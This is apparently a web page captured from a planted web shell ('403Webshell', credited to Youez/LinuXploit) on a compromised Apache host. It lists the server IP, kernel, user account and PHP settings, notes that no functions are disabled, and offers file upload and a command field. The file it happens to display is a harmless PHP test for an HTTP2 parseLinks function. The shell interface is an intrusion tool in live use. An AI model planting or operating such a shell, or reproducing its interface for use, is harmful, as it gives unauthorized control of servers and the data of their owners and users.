403Webshell
Server IP : 217.160.0.95  /  Your IP : 216.73.216.239
Web Server : Apache
System : Linux infong-uk56 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u78863098 ( 10368940)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/php8.4/test/HTTP2/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/php8.4/test/HTTP2/tests/parseLinks_rel-no-quote.phpt
--TEST--
parseLinks(): relation without quotes
--FILE--
<?php
require_once  'HTTP2.php';
$http = new HTTP2();
$links = array(
    '<http://wp.me/PEmnE-1hd>; rel=shortlink'
);
$out = var_export($http->parseLinks($links), true);
echo preg_replace('#\s+\n#', "\n", $out);
?>
--EXPECT--
array (
  0 =>
  array (
    '_uri' => 'http://wp.me/PEmnE-1hd',
    'rel' =>
    array (
      0 => 'shortlink',
    ),
  ),
)

Youez - 2016 - github.com/yon3zu
LinuXploit